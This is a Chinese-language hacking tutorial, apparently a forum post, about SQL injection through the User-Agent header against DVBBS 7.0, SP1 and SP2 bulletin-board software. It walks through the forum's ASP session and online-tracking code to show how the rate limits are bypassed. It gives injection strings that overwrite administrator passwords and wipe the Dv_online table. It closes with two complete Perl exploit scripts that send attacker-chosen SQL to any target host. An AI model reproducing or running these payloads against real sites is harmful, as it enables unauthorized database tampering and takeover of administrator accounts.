直播中
firstsee在《將dvbbs 送入地獄》一文中 第3點 防刷新問題的解決 中提到:“由于我們的訪問程序會在Dv_online表中記錄相應的訪問數(shù)據(jù),而只要這條數(shù)據(jù)存在的話就不會執(zhí)行我們要跳轉(zhuǎn)到可以注入的語句。因此只好等20分鐘之后由于其他的用戶訪問而調(diào)用MyBoardOnline.OnlineQuery過程將超時用戶訪問記錄(包括我們剛才的訪問記錄)刪除之后才可以再次進行欺騙注入。否則的話只會讓我們的訪問最后時間更新為當前值,而對其它數(shù)據(jù)沒有任何影響。
每兩次欺騙注入之間的時間間隔要20分鐘!那么如果要向數(shù)據(jù)庫寫入木馬的話還不要等到頭發(fā)也白了。您也許會說,我是撥號上網(wǎng)的,只要重新?lián)芴柌痪托辛藛??當然可以了,不過即使這樣對于我們來說是一件很痛苦的事。
為了解決這個棘手的問題我們可以在修改數(shù)據(jù)庫的同時將Dv_online表中的所有記錄全部刪除,這樣不就可以進行連續(xù)注入了嗎。調(diào)整以后的User-Agent的值為:
Mozilla/4.0 (compatible;M;M;M;','hacker',7,'',2) update Dv_User set UserPassword='123' where UserGroupID=1 delete from Dv_online—Netscape
不信你測試一下,不管你在注入前數(shù)據(jù)庫內(nèi)有多少的用戶訪問記錄,只要能夠成功的欺騙成功不僅會將所有的前臺管理員密碼進行修改,而且還會將所有的用戶訪問記錄刪除得干干凈凈。
哈哈,現(xiàn)在我們不就可以隨心所欲了嗎?!蔽矣X得這里在理解上firstsee出了錯誤,文中提到的20分鐘其實根本不是刪除online表的時間,而且刪除了online表,一樣不能立即再注入(我已經(jīng)測試過了),經(jīng)過分析代碼我發(fā)現(xiàn),這個20分鐘是session失效的時間,我們來看Dv_ClsMain.asp中的這段:
Class Cls_Browser
Public Browser,version ,platform,IsSearch
Private Sub Class_Initialize()
Dim Agent,Tmpstr
IsSearch = False
If Not IsEmpty(Session("Cls_Browser")) Then
Tmpstr = Split(Session("Cls_Browser"),"|||")
Browser = Tmpstr(0)
version = Tmpstr(1)
platform = Tmpstr(2)
If Tmpstr(3)="1" Then
IsSearch = True
End If
Exit Sub
End If
正因為Session("Cls_Browser")中保存了第一次注入的Browser數(shù)據(jù),導致了我們執(zhí)行到Insert Into [Dv_Online]這里的時候,執(zhí)行的還是第一次注入的語句,只有等Session("Cls_Browser")失效,我們的第二個注入語句才能生效,有人會說了,我們直接用程序發(fā)包,不理會cokkie,不就新建立了一個session了么,不就可以直接執(zhí)行Insert Into [Dv_Oline]這一句注入了么,但是請看Sub ActiveOnline()里邊的代碼:
SP2:
If DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID And Not InStr(ScriptName,"showerr")>0 Then Exit Sub
7.0 and SP1:
If DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID Then Exit Sub
經(jīng)過我測試,第一次請求一個頁面的時候,比如說請求list.asp?boardid=1吧,得到的LastVisiBoardID=1,BoardID=1,DateDiff("s",ReflashPageLastTime,Now())=0,對于sp2要想執(zhí)行下去,我們只有請求showerr.asp,去看看showerr.asp代碼,發(fā)現(xiàn)在:
Select Case action
Case "OtherErr"
Dvbbs.Stats=action&"-"&Template.Strings(0)
Dvbbs.head()
Dvbbs.showtoptable()
Dvbbs.Head_var 0,"",Template.Strings(0),""
template.html(0)=Replace(template.html(0),"{$color}",Dvbbs.mainsetting(1))
template.html(0)=Replace(template.html(0),"{$errtitle}",Dvbbs.Forum_Info(0)&"-"&Dvbbs.Stats)
template.html(0)=Replace(template.html(0),"{$action}","訪問論壇")
template.html(0)=Replace(template.html(0),"{$ErrCount}",1)
template.html(0)=Replace(template.html(0),"{$ErrString}",Request("ErrCodes"))
If Request("autoreload")=1 Then
Response.Write "<meta http-equiv=refresh content=""2;URL="&Request.ServerVariables("HTTP_REFERER")&""">"
End If
Response.Write Template.html(0)
If dvbbs.userid=0 Then
Response.Write Template.html(1)
End If
Dvbbs.ActiveOnline()
Dvbbs.footer()
Action=OtherErr的時候他調(diào)用了ActiveOnline()子程序,嘿嘿,來吧,我們用程序發(fā)包請求showerr.asp?BoardID=0&action=OtherErr頁面,cookie設置為空,讓他每次請求都建立新session,不過你可別忘了在user_agent里面加注入語句哦,:)
好了就到這里了,這下注入簡單了吧,我寫了個小程序來提交。原代碼如下:
------------------------------------------------------------------
#!/usr/bin/perl
#use IO::Socket;
$| = 1;
use Socket;
$ARGC = @ARGV;
print "\t* The script for dvbbs7 sp2 sql版 user_agent 注入 *\n";
print "\t* Code by xiaolu QQ:50446*\n";
if ($ARGC < 4)
{
print "\n用法:\ndv.exe 域名 bbs路徑 sql語句 端口 \ndv.exe 666w.com /bbs/ \"update [dv_user] set username='feng'\" 80\n";
exit;
}
$host = @ARGV[0];
$way = @ARGV[1];
$way1 = @ARGV[2];
$port = @ARGV[3];
#$way1=~s/ / /g;
print "\n\n開始在 $host 上進行測試,請等待......\n";
$req = "GET $way".
"showerr.asp?BoardID=0&action=OtherErr HTTP/1.0\n".
"Accept: */*\n".
"Referer: $host\n".
"Accept-Language: zh-cn\n".
"User-Agent: Opera/100.0','主論壇',1,'1',0);$way1 delete from [Dv_online];-- (compatible; MSIE 4.0; Windows NT 5.0; Hotbar 4.4.6.0)\n".
"Host: $host:$port\n".
"Cookie: \n\n";
print $req;
@res = sendraw($req);
print "\n\ @res \n";
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}
----------------------------------------------------------------
對于sp1和7.0就沒那么簡單了,但是我們還是有辦法,還是一樣用程序請求頁面不能使用瀏覽器(用瀏覽器Session("Cls_Browser")就保存了瀏覽器信息了),記著,第一次一定要把user_agent的注入寫好,讓他第一次就存在Session("Cls_Browser"),以便于我們第二次來執(zhí)行他,cookie亂寫或者為空算了,請求list.asp?boardid=1(這個頁面要存在)提交抓包,或者把結(jié)果記錄到文件,便于我們察看cookie,好了我們看到包里截取到兩行set-cookie(或者更多),比如:
Set-Cookie: 10%2E0%2E0%2E8%2Fdv%2F=StatUserID=2321989; expires=Sat, 12-Jun-2004 23:25:18 GMT; path=/dv/
Set-Cookie: ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/
為了讓StatUserID不在online數(shù)據(jù)庫中存在(存在的話就會執(zhí)行更新,而不執(zhí)行注入語句),并且我們還要繼承session,在第二次提交的時候,可以使DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID
不成立,執(zhí)行我們的注入語句,那就只使用這個cookie:
cookie: ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/
用程序來第二次請求頁面,這樣就繼承session,user_agent現(xiàn)在其實已經(jīng)不起作用(儲存在了session中),請求什么頁面呢?只要請求boardid不是1的版面比如list.asp?boardid=2(這個版面要存在)或者index.asp等等,OK, UserActiveOnline過程被執(zhí)行了,由于StatUserID為空,他就會乖乖的執(zhí)行我們存在session中的注入語句了,如果想執(zhí)行下一條,就從頭建立新session,然后抓包,和上邊一樣了,呵呵。
寫了個小程序,把提交結(jié)果寫在文件abc.txt里,察看cookie就方便多了。
---------------------------------------------------------------------------
#!/usr/bin/perl
#use IO::Socket;
$| = 1;
use Socket;
$ARGC = @ARGV;
print "\t* The script for dvbbs7 sql版 user_agent 注入 *\n";
print "\t* Code by xiaolu QQ:50446*\n";
if ($ARGC < 5)
{
print "\n用法:\ndv.exe 域名 路徑 sql語句 端口 Cookie\ndv.exe 666w.com /bbs/index.asp \"update [dv_user] set username='feng'\" 80 \"ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/\"\n";
exit;
}
$host = @ARGV[0];
$way = @ARGV[1];
$way1 = @ARGV[2];
$port = @ARGV[3];
$cookie = @ARGV[4];
print "\n\n開始在 $host 上進行測試,請等待......\n";
$req = "GET $way HTTP/1.0\n".
"Accept: */*\n".
"Referer: $host\n".
"Accept-Language: zh-cn\n".
"User-Agent:Mozilla/4.0 (compatible;M;M;M;','論壇首頁',7,'',2) $way1--Netscape\n".
"Host: $host:$port\n".
"Cookie: $cookie\n\n";
print $req;
@res = sendraw($req);
print "\n\ @res \n";
$filename="abc.txt";
open(file,">$filename")||die("不能打開文件$filename\n");
print file @res;
close(file);
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}